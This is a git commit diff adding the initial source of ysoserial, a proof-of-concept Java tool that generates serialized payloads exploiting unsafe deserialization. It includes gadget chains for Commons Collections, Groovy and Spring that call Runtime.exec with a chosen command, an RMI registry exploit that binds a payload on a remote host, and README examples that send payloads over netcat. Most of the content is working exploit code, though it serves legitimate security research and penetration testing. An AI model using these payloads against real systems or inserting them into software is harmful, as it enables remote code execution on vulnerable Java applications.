commit e6565b61e3045ca385a0b0777dd464cb0f81d5a7 Author: Chris Frohoff Date: Wed Jan 28 11:31:57 2015 -0800 init-commit diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..f3ccac5 --- /dev/null +++ b/.gitignore @@ -0,0 +1,5 @@ +/target +.classpath +.project +.settings/ +pwntest diff --git a/.travis.yml b/.travis.yml new file mode 100644 index 0000000..6f7cf3b --- /dev/null +++ b/.travis.yml @@ -0,0 +1,7 @@ +language: java +jdk: + - oraclejdk8 + - openjdk8 + - oraclejdk7 + - openjdk7 + - openjdk6 \ No newline at end of file diff --git a/DISCLAIMER.txt b/DISCLAIMER.txt new file mode 100644 index 0000000..1137f25 --- /dev/null +++ b/DISCLAIMER.txt @@ -0,0 +1,6 @@ +DISCLAIMER + +This software has been created purely for the purposes of academic research and +for the development of effective defensive techniques, and is not intended to be +used to attack systems except where explicitly authorized. Project maintainers +are not responsible or liable for misuse of the software. Use responsibly. \ No newline at end of file diff --git a/LICENSE.txt b/LICENSE.txt new file mode 100644 index 0000000..48825dd --- /dev/null +++ b/LICENSE.txt @@ -0,0 +1,22 @@ +Copyright (c) 2013 Chris Frohoff + +MIT License + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..9436146 --- /dev/null +++ b/README.md @@ -0,0 +1,66 @@ + +# ysoserial + +A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. + +![](https://github.com/frohoff/ysoserial/blob/master/ysoserial.png) + +## Description + +ysoserial is a collection of utilities and property-oriented programming "gadget chains" discovered in common java +libraries. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then +serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes +this data, the chain will automatically be invoked and cause the command to be executed on the application host. + +It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having +gadgets on the classpath. + +## Disclaimer + +This software has been created purely for the purposes of academic research and +for the development of effective defensive techniques, and is not intended to be +used to attack systems except where explicitly authorized. Project maintainers +are not responsible or liable for misuse of the software. Use responsibly. + +## Usage + +```shell +$ java -jar ysoserial-0.0.1-all.jar +Y SO SERIAL? +Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]' + Available payload types: + CommonsCollections1 + CommonsCollections2 + Groovy1 + Spring1 +``` + +## Examples + +```shell +$ java -jar ysoserial-0.0.1-all.jar CommonsCollections1 calc.exe | xxd +0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl +0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A +0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat +... +0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76 vr..java.lang.Ov +0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride.......... +0000570: 0078 7071 007e 003a .xpq.~.: + +$ java -jar ysoserial-0.0.1-all.jar Groovy1 calc.exe > groovypayload.bin +$ nc 10.10.10.10 < groovypayload.bin + +$ java -cp ysoserial-0.0.1-all.jar ysoserial.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe +``` + +## Installation + +1. Download the latest jar from the "releases" section. + +## Contributing + +1. Fork it +2. Create your feature branch (`git checkout -b my-new-feature`) +3. Commit your changes (`git commit -am 'Add some feature'`) +4. Push to the branch (`git push origin my-new-feature`) +5. Create new Pull Request \ No newline at end of file diff --git a/pom.xml b/pom.xml new file mode 100644 index 0000000..408e9ea --- /dev/null +++ b/pom.xml @@ -0,0 +1,125 @@ + + 4.0.0 + + ysoserial + ysoserial + 0.0.1-SNAPSHOT + jar + + ysoserial + http://maven.apache.org + + + UTF-8 + + + + + + org.apache.maven.plugins + maven-compiler-plugin + 3.2 + + 1.5 + 1.5 + + + + maven-assembly-plugin + + ${project.artifactId}-${project.version}-all + false + + + ysoserial.GeneratePayload + + + + jar-with-dependencies + + + + + make-assembly + package + + single + + + + + + + + + + + + + junit + junit + 4.12 + test + + + org.mockito + mockito-core + 1.10.19 + test + + + com.github.stefanbirkner + system-rules + 1.8.0 + test + + + + + + org.reflections + reflections + 0.9.9 + + + org.jboss.shrinkwrap.resolver + shrinkwrap-resolver-depchain + 2.1.1 + pom + + + + + + commons-collections + commons-collections + 3.1 + + + org.apache.commons + commons-collections4 + 4.0 + + + org.apache.commons + commons-lang3 + 3.1 + + + org.codehaus.groovy + groovy + 2.3.9 + + + org.springframework + spring-core + 4.1.4.RELEASE + + + org.springframework + spring-beans + 4.1.4.RELEASE + + + diff --git a/src/main/java/ysoserial/Deserialize.java b/src/main/java/ysoserial/Deserialize.java new file mode 100644 index 0000000..64d2d65 --- /dev/null +++ b/src/main/java/ysoserial/Deserialize.java @@ -0,0 +1,18 @@ +package ysoserial; + +import java.io.File; +import java.io.FileInputStream; +import java.io.IOException; +import java.io.InputStream; + +import ysoserial.payloads.util.Serializables; + +/* + * for testing payloads across process boundaries + */ +public class Deserialize { + public static void main(final String[] args) throws ClassNotFoundException, IOException { + final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0])); + Serializables.deserialize(in); + } +} diff --git a/src/main/java/ysoserial/GeneratePayload.java b/src/main/java/ysoserial/GeneratePayload.java new file mode 100644 index 0000000..9db1eb5 --- /dev/null +++ b/src/main/java/ysoserial/GeneratePayload.java @@ -0,0 +1,86 @@ +package ysoserial; + +import java.io.ObjectOutputStream; +import java.util.ArrayList; +import java.util.Collection; +import java.util.Collections; +import java.util.Comparator; +import java.util.List; +import java.util.Set; + +import org.reflections.Reflections; + +import ysoserial.payloads.ObjectPayload; + +@SuppressWarnings("rawtypes") +public class GeneratePayload { + + private static final int INTERNAL_ERROR_CODE = 70; + private static final int USAGE_CODE = 64; + + public static void main(final String[] args) { + if (args.length != 2) { + printUsage(); + System.exit(USAGE_CODE); + } + final String payloadType = args[0]; + final String command = args[1]; + + final Class payloadClass = getPayloadClass(payloadType); + if (payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass)) { + System.err.println("Invalid payload type '" + payloadType + "'"); + printUsage(); + System.exit(USAGE_CODE); + } + + try { + final ObjectPayload payload = payloadClass.newInstance(); + final Object object = payload.getObject(command); + final ObjectOutputStream objOut = new ObjectOutputStream(System.out); + objOut.writeObject(object); + } catch (Exception e) { + System.err.println("Error while generating or serializing payload"); + e.printStackTrace(); + System.exit(INTERNAL_ERROR_CODE); + } + System.exit(0); + } + + @SuppressWarnings("unchecked") + private static Class getPayloadClass(final String className) { + try { + return (Class) Class.forName(className); + } catch (Exception e1) { + } + try { + return (Class) Class.forName(GeneratePayload.class.getPackage().getName() + + ".payloads." + className); + } catch (Exception e2) { + } + return null; + } + + private static void printUsage() { + System.err.println("Y SO SERIAL?"); + System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'"); + System.err.println("\tAvailable payload types:"); + final List> payloadClasses = + new ArrayList>(getPayloadClasses()); + Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize + for (Class payloadClass : payloadClasses) { + System.err.println("\t\t" + payloadClass.getSimpleName()); + } + } + + // get payload classes by classpath scanning + private static Collection> getPayloadClasses() { + final Reflections reflections = new Reflections(GeneratePayload.class.getPackage().getName()); + final Set> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); + return payloadTypes; + } + + public static class ToStringComparator implements Comparator { + public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); } + } + +} diff --git a/src/main/java/ysoserial/RMIRegistryExploit.java b/src/main/java/ysoserial/RMIRegistryExploit.java new file mode 100644 index 0000000..a8d5286 --- /dev/null +++ b/src/main/java/ysoserial/RMIRegistryExploit.java @@ -0,0 +1,23 @@ +package ysoserial; + +import java.rmi.Remote; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; + +import ysoserial.payloads.CommonsCollections1; +import ysoserial.payloads.ObjectPayload; +import ysoserial.payloads.util.Gadgets; + +/* + * Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader + */ +public class RMIRegistryExploit { + public static void main(String[] args) throws Exception { + Registry registry = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1])); + String className = CommonsCollections1.class.getPackage().getName() + "." + args[2]; + Class payloadClass = (Class) Class.forName(className); + Object payload = payloadClass.newInstance().getObject(args[3]); + Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", payload), Remote.class); + registry.bind("pwned", remote); + } +} diff --git a/src/main/java/ysoserial/payloads/CommonsCollections1.java b/src/main/java/ysoserial/payloads/CommonsCollections1.java new file mode 100644 index 0000000..9839ef5 --- /dev/null +++ b/src/main/java/ysoserial/payloads/CommonsCollections1.java @@ -0,0 +1,76 @@ +package ysoserial.payloads; + +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.Map; + +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.map.LazyMap; + +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + +/* + Gadget chain: + ObjectInputStream.readObject() + AnnotationInvocationHandler.readObject() + Map(Proxy).entrySet() + AnnotationInvocationHandler.invoke() + LazyMap.get() + ChainedTransformer.transform() + ConstantTransformer.transform() + InvokerTransformer.transform() + Method.invoke() + Class.getMethod() + InvokerTransformer.transform() + Method.invoke() + Runtime.getRuntime() + InvokerTransformer.transform() + Method.invoke() + Runtime.exec() + + Requires: + commons-collections + */ +@SuppressWarnings({"rawtypes", "unchecked"}) +public class CommonsCollections1 extends PayloadRunner implements ObjectPayload { + + public InvocationHandler getObject(final String command) throws Exception { + final String[] execArgs = new String[] { command }; + // inert chain for setup + final Transformer transformerChain = new ChainedTransformer( + new Transformer[]{ new ConstantTransformer(1) }); + // real chain for after setup + final Transformer[] transformers = new Transformer[] { + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[] { + String.class, Class[].class }, new Object[] { + "getRuntime", new Class[0] }), + new InvokerTransformer("invoke", new Class[] { + Object.class, Object[].class }, new Object[] { + null, new Object[0] }), + new InvokerTransformer("exec", + new Class[] { String.class }, execArgs), + new ConstantTransformer(1) }; + + final Map innerMap = new HashMap(); + + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + + final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); + + final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain + + return handler; + } + + public static void main(final String[] args) { + PayloadRunner.run(CommonsCollections1.class, args); + } +} diff --git a/src/main/java/ysoserial/payloads/CommonsCollections2.java b/src/main/java/ysoserial/payloads/CommonsCollections2.java new file mode 100644 index 0000000..9854ef9 --- /dev/null +++ b/src/main/java/ysoserial/payloads/CommonsCollections2.java @@ -0,0 +1,66 @@ +package ysoserial.payloads; + +import java.util.PriorityQueue; +import java.util.Queue; + +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.apache.commons.collections4.functors.InvokerTransformer; + +import ysoserial.payloads.util.ClassFiles; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; + +/* + Gadget chain: + ObjectInputStream.readObject() + PriorityQueue.readObject() + ... + TransformingComparator.compare() + InvokerTransformer.transform() + Method.invoke() + Runtime.exec() + + Requires: + commons-collections4 + */ + +@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) +public class CommonsCollections2 implements ObjectPayload> { + + public Queue getObject(final String command) throws Exception { + final TemplatesImpl templates = new TemplatesImpl(); + + Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { + ClassFiles.classAsBytes(Gadgets.TransletPayload.class), + ClassFiles.classAsBytes(Gadgets.Foo.class)}); // required to make TemplatesImpl happy + + Reflections.setFieldValue(templates, "_name", "Pwnr"); // required to make TemplatesImpl happy + + // mock method name until armed + final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); + + // create queue with numbers and basic comparator + final PriorityQueue queue = new PriorityQueue(2,new TransformingComparator(transformer)); + // stub data for replacement later + queue.add(1); + queue.add(1); + + // switch method called by comparator + Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); + + // switch contents of queue + final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); + queueArray[0] = templates; + queueArray[1] = new Gadgets.TransletPayload().withCommand(command); + + return queue; + } + + public static void main(final String[] args) { + PayloadRunner.run(CommonsCollections2.class, args); + } + +} diff --git a/src/main/java/ysoserial/payloads/Groovy1.java b/src/main/java/ysoserial/payloads/Groovy1.java new file mode 100644 index 0000000..b457174 --- /dev/null +++ b/src/main/java/ysoserial/payloads/Groovy1.java @@ -0,0 +1,43 @@ +package ysoserial.payloads; + +import java.lang.reflect.InvocationHandler; +import java.util.Map; + +import org.codehaus.groovy.runtime.ConvertedClosure; +import org.codehaus.groovy.runtime.MethodClosure; + +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; + +/* + Gadget chain: + ObjectInputStream.readObject() + PriorityQueue.readObject() + Comparator.compare() (Proxy) + ConvertedClosure.invoke() + MethodClosure.call() + ... + Method.invoke() + Runtime.exec() + + Requires: + groovy + */ + +@SuppressWarnings({ "rawtypes", "unchecked" }) +public class Groovy1 extends PayloadRunner implements ObjectPayload { + + public InvocationHandler getObject(final String command) throws Exception { + final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet"); + + final Map map = Gadgets.createProxy(closure, Map.class); + + final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map); + + return handler; + } + + public static void main(final String[] args) { + PayloadRunner.run(Groovy1.class, args); + } +} diff --git a/src/main/java/ysoserial/payloads/ObjectPayload.java b/src/main/java/ysoserial/payloads/ObjectPayload.java new file mode 100644 index 0000000..d027157 --- /dev/null +++ b/src/main/java/ysoserial/payloads/ObjectPayload.java @@ -0,0 +1,9 @@ +package ysoserial.payloads; + +public interface ObjectPayload { + /* + * return armed payload object to be serialized that will execute specified + * command on deserialization + */ + public T getObject(String command) throws Exception; +} diff --git a/src/main/java/ysoserial/payloads/Spring1.java b/src/main/java/ysoserial/payloads/Spring1.java new file mode 100644 index 0000000..8ab0570 --- /dev/null +++ b/src/main/java/ysoserial/payloads/Spring1.java @@ -0,0 +1,92 @@ +package ysoserial.payloads; + +import static java.lang.Class.forName; + +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Type; +import java.util.Arrays; +import java.util.List; + +import javax.xml.transform.Templates; + +import org.springframework.beans.factory.ObjectFactory; + +import ysoserial.payloads.util.ClassFiles; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; + +/* + Gadget chains: + + ObjectInputStream.readObject() + SerializableTypeWrapper.MethodInvokeTypeProvider.readObject() + SerializableTypeWrapper.TypeProvider(Proxy).getType() + AnnotationInvocationHandler.invoke() + HashMap.get() + ReflectionUtils.findMethod() + SerializableTypeWrapper.TypeProvider(Proxy).getType() + AnnotationInvocationHandler.invoke() + HashMap.get() + ReflectionUtils.invokeMethod() + Method.invoke() + Templates(Proxy).newTransformer() + AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke() + ObjectFactory(Proxy).getObject() + AnnotationInvocationHandler.invoke() + HashMap.get() + Method.invoke() + TemplatesImpl.newTransformer() + TemplatesImpl.getTransletInstance() + TemplatesImpl.defineTransletClasses() + TemplatesImpl.TransletClassLoader.defineClass() + Gadgets.TransletPayload.readObject() + Runtime.exec() + + Requires: + spring-framework-core + */ + +@SuppressWarnings({"restriction", "rawtypes"}) +public class Spring1 extends PayloadRunner implements ObjectPayload> { + + public List getObject(final String command) throws Exception { + final TemplatesImpl templates = new TemplatesImpl(); + + // inject class bytes into instance + Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { + ClassFiles.classAsBytes(Gadgets.TransletPayload.class), + ClassFiles.classAsBytes(Gadgets.Foo.class)}); + + // required to make TemplatesImpl happy + Reflections.setFieldValue(templates, "_name", "Pwnr"); + Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); + + final ObjectFactory objectFactoryProxy = + Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class); + + final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) + Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler") + .newInstance(objectFactoryProxy), Type.class, Templates.class); + + final Object typeProviderProxy = Gadgets.createMemoitizedProxy( + Gadgets.createMap("getType", typeTemplatesProxy), + forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); + + final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); + final Object mitp = mitpCtor.newInstance(typeProviderProxy, Templates.class.getMethod("newTransformer", new Class[] {}), 0); + + Reflections.setFieldValue(templates, "_auxClasses", null); // required to make TemplatesImpl serialization happy + + return Arrays.asList(mitp, new Gadgets.TransletPayload().withCommand(command)); + } + + public static void main(final String[] args) { + PayloadRunner.run(Spring1.class, args); + } + +} diff --git a/src/main/java/ysoserial/payloads/util/ClassFiles.java b/src/main/java/ysoserial/payloads/util/ClassFiles.java new file mode 100644 index 0000000..6192dd0 --- /dev/null +++ b/src/main/java/ysoserial/payloads/util/ClassFiles.java @@ -0,0 +1,40 @@ +package ysoserial.payloads.util; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; + +public class ClassFiles { + public static String classAsFile(final Class clazz) { + return classAsFile(clazz, true); + } + + public static String classAsFile(final Class clazz, boolean suffix) { + String str; + if (clazz.getEnclosingClass() == null) { + str = clazz.getName().replace(".", "/"); + } else { + str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); + } + if (suffix) { + str += ".class"; + } + return str; + } + + public static byte[] classAsBytes(final Class clazz) throws IOException { + final byte[] buffer = new byte[1024]; + final String file = classAsFile(clazz); + final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); + if (in == null) { + throw new IOException("couldn't find '" + file + "'"); + } + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + int len; + while ((len = in.read(buffer)) != -1) { + out.write(buffer, 0, len); + } + return out.toByteArray(); + } + +} diff --git a/src/main/java/ysoserial/payloads/util/Gadgets.java b/src/main/java/ysoserial/payloads/util/Gadgets.java new file mode 100644 index 0000000..bd05933 --- /dev/null +++ b/src/main/java/ysoserial/payloads/util/Gadgets.java @@ -0,0 +1,84 @@ +package ysoserial.payloads.util; + +import java.io.IOException; +import java.io.ObjectInputStream; +import java.io.Serializable; +import java.lang.reflect.Array; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.util.HashMap; +import java.util.Map; + +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; + +/* + * utility generator functions for common jdk-only gadgets + */ +@SuppressWarnings("restriction") +public class Gadgets { + private static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; + + // serializable translet subclass that will command stored in field when deserialized + public static class TransletPayload extends AbstractTranslet implements Serializable { + private static final long serialVersionUID = 5571793986024357801L; + + { + namesArray = new String[0]; // needed to make TemplatesImpl happy + } + + private String command; + + // execute stored command on deserialization + private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { + in.defaultReadObject(); // read command string + try { + Runtime.getRuntime().exec(command); // execute command + } catch (IOException e) { + e.printStackTrace(); // not trying to be stealthy + } + } + + public TransletPayload withCommand(String command) { + this.command = command; + return this; + } + + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} + + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) + throws TransletException {} + } + + // required to make TemplatesImpl happy + public static class Foo implements Serializable { + private static final long serialVersionUID = 8207363842866235160L; + } + + public static T createMemoitizedProxy(final Map map, final Class iface, + final Class ... ifaces) throws Exception { + return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); + } + + public static InvocationHandler createMemoizedInvocationHandler(final Map map) throws Exception { + return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); + } + + public static T createProxy(final InvocationHandler ih, final Class iface, final Class ... ifaces) { + final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); + allIfaces[0] = iface; + if (ifaces.length > 0) { + System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); + } + return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih)); + } + + public static Map createMap(final String key, final Object val) { + final Map map = new HashMap(); + map.put(key,val); + return map; + } +} diff --git a/src/main/java/ysoserial/payloads/util/PayloadRunner.java b/src/main/java/ysoserial/payloads/util/PayloadRunner.java new file mode 100644 index 0000000..a52458a --- /dev/null +++ b/src/main/java/ysoserial/payloads/util/PayloadRunner.java @@ -0,0 +1,34 @@ +package ysoserial.payloads.util; + +import static ysoserial.payloads.util.Serializables.deserialize; +import static ysoserial.payloads.util.Serializables.serialize; +import ysoserial.payloads.ObjectPayload; + +/* + * utility class for running exploits locally from command line + */ +@SuppressWarnings("unused") +public class PayloadRunner { + public static void run(final Class clazz, final String[] args) { + try { + final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe"; + + System.out.println("generating payload object(s) for command: '" + command + "'"); + + final Object objBefore = clazz.newInstance().getObject(command); + + System.out.println("serializing payload"); + + final byte[] serialized = serialize(objBefore); + + System.out.println("deserializing payload"); + + final Object objAfter = deserialize(serialized); + + } catch (Exception e) { + e.printStackTrace(); + } + + } + +} diff --git a/src/main/java/ysoserial/payloads/util/Reflections.java b/src/main/java/ysoserial/payloads/util/Reflections.java new file mode 100644 index 0000000..0e6b599 --- /dev/null +++ b/src/main/java/ysoserial/payloads/util/Reflections.java @@ -0,0 +1,33 @@ +package ysoserial.payloads.util; + +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; + +public class Reflections { + + public static Field getField(final Class clazz, final String fieldName) throws Exception { + Field field = clazz.getDeclaredField(fieldName); + if (field == null && clazz.getSuperclass() != null) { + field = getField(clazz.getSuperclass(), fieldName); + } + field.setAccessible(true); + return field; + } + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + field.set(obj, value); + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Constructor getFirstCtor(final String name) throws Exception { + final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; + ctor.setAccessible(true); + return ctor; + } + +} diff --git a/src/main/java/ysoserial/payloads/util/Serializables.java b/src/main/java/ysoserial/payloads/util/Serializables.java new file mode 100644 index 0000000..8c95732 --- /dev/null +++ b/src/main/java/ysoserial/payloads/util/Serializables.java @@ -0,0 +1,34 @@ +package ysoserial.payloads.util; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.io.OutputStream; + +public class Serializables { + + public static byte[] serialize(final Object obj) throws IOException { + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + serialize(obj, out); + return out.toByteArray(); + } + + public static void serialize(final Object obj, final OutputStream out) throws IOException { + final ObjectOutputStream objOut = new ObjectOutputStream(out); + objOut.writeObject(obj); + } + + public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException { + final ByteArrayInputStream in = new ByteArrayInputStream(serialized); + return deserialize(in); + } + + public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException { + final ObjectInputStream objIn = new ObjectInputStream(in); + return objIn.readObject(); + } + +} \ No newline at end of file diff --git a/src/test/java/ysoserial/ExecSerializable.java b/src/test/java/ysoserial/ExecSerializable.java new file mode 100644 index 0000000..b7062ed --- /dev/null +++ b/src/test/java/ysoserial/ExecSerializable.java @@ -0,0 +1,16 @@ +package ysoserial; + +import java.io.IOException; +import java.io.ObjectInputStream; +import java.io.Serializable; + +@SuppressWarnings("serial") +public class ExecSerializable implements Serializable { + private void readObject(final ObjectInputStream ois) { + try { + Runtime.getRuntime().exec("hostname"); + } catch (IOException e) { + e.printStackTrace(); + } + } +} \ No newline at end of file diff --git a/src/test/java/ysoserial/MockPayload.java b/src/test/java/ysoserial/MockPayload.java new file mode 100644 index 0000000..d3c7edc --- /dev/null +++ b/src/test/java/ysoserial/MockPayload.java @@ -0,0 +1,17 @@ +package ysoserial; + +import java.io.Serializable; + +import ysoserial.payloads.ObjectPayload; + +public class MockPayload implements ObjectPayload { + private final Serializable obj; + + public MockPayload(final Serializable obj) { + this.obj = obj; + } + + public Object getObject(final String command) throws Exception { + return obj; + } +} \ No newline at end of file diff --git a/src/test/java/ysoserial/MockSecurityManager.java b/src/test/java/ysoserial/MockSecurityManager.java new file mode 100644 index 0000000..61779f1 --- /dev/null +++ b/src/test/java/ysoserial/MockSecurityManager.java @@ -0,0 +1,24 @@ +package ysoserial; + +import java.security.Permission; +import java.util.LinkedList; +import java.util.List; + +public class MockSecurityManager extends SecurityManager { + private final List checks = new LinkedList(); + + public List getChecks() { + return checks; + } + + @Override + public void checkPermission(final Permission perm) { + checks.add(perm); + } + + @Override + public void checkPermission(final Permission perm, final Object context) { + checks.add(perm); + } + +} \ No newline at end of file diff --git a/src/test/java/ysoserial/Throwables.java b/src/test/java/ysoserial/Throwables.java new file mode 100644 index 0000000..51ac9be --- /dev/null +++ b/src/test/java/ysoserial/Throwables.java @@ -0,0 +1,8 @@ +package ysoserial; + +public class Throwables { + public static Throwable getInnermostCause(final Throwable t) { + final Throwable cause = t.getCause(); + return cause == null ? t : getInnermostCause(cause); + } +} \ No newline at end of file diff --git a/src/test/java/ysoserial/payloads/PayloadsTest.java b/src/test/java/ysoserial/payloads/PayloadsTest.java new file mode 100644 index 0000000..6de29d6 --- /dev/null +++ b/src/test/java/ysoserial/payloads/PayloadsTest.java @@ -0,0 +1,90 @@ +package ysoserial.payloads; + +import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; + +import java.io.FilePermission; + +import org.junit.Assert; +import org.junit.Rule; +import org.junit.Test; +import org.junit.contrib.java.lang.system.ProvideSecurityManager; +import org.junit.experimental.theories.DataPoints; +import org.junit.experimental.theories.Theories; +import org.junit.experimental.theories.Theory; +import org.junit.runner.RunWith; + +import ysoserial.ExecSerializable; +import ysoserial.MockPayload; +import ysoserial.MockSecurityManager; +import ysoserial.Throwables; +import ysoserial.payloads.CommonsCollections1; +import ysoserial.payloads.Groovy1; +import ysoserial.payloads.ObjectPayload; +import ysoserial.payloads.Spring1; +import ysoserial.payloads.util.Serializables; + +/* + * tests each of the parameterize Payload classes by using a mock SecurityManager that throws + * a special exception when an exec() attempt is made for more reliable detection; self-tests + * the harness for trivial pass and failure cases + */ +@SuppressWarnings({"restriction","unused"}) +@RunWith(Theories.class) +public class PayloadsTest { + private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName(); + + @SuppressWarnings("serial") + private static class ExecException extends RuntimeException {} + private final MockSecurityManager msm = new MockSecurityManager(){ + public void checkExec(final String cmd) { + super.checkExec(cmd); + // throw a special exception to ensure we can detect exec() in the test + throw new ExecException(); + }; + }; + + @Rule + public final ProvideSecurityManager psm = new ProvideSecurityManager(msm); + + @DataPoints + public static ObjectPayload[] payloads() { + return new ObjectPayload[] { new CommonsCollections1(), new Groovy1(), new Spring1() }; + } + + @Theory + public void testPayload(final ObjectPayload payload) throws Exception { + final Object f = payload.getObject("hostname"); + final byte[] serialized = Serializables.serialize(f); + + // special case for using TemplatesImpl gadgets with SecurityManager + System.setProperty(DESERIALIZE_TRANSLET, "true"); + + try { + final Object obj = Serializables.deserialize(serialized); + Assert.fail(ASSERT_MESSAGE); // should never get here + } catch (Exception e) { + // hopefully everything will reliably nest our ExecException + Assert.assertEquals(Throwables.getInnermostCause(e).getClass(), ExecException.class); + } + + // confirm sm saw the check for file execution + Assert.assertTrue(msm.getChecks().contains(new FilePermission("<>", "execute"))); + } + + // make sure test harness 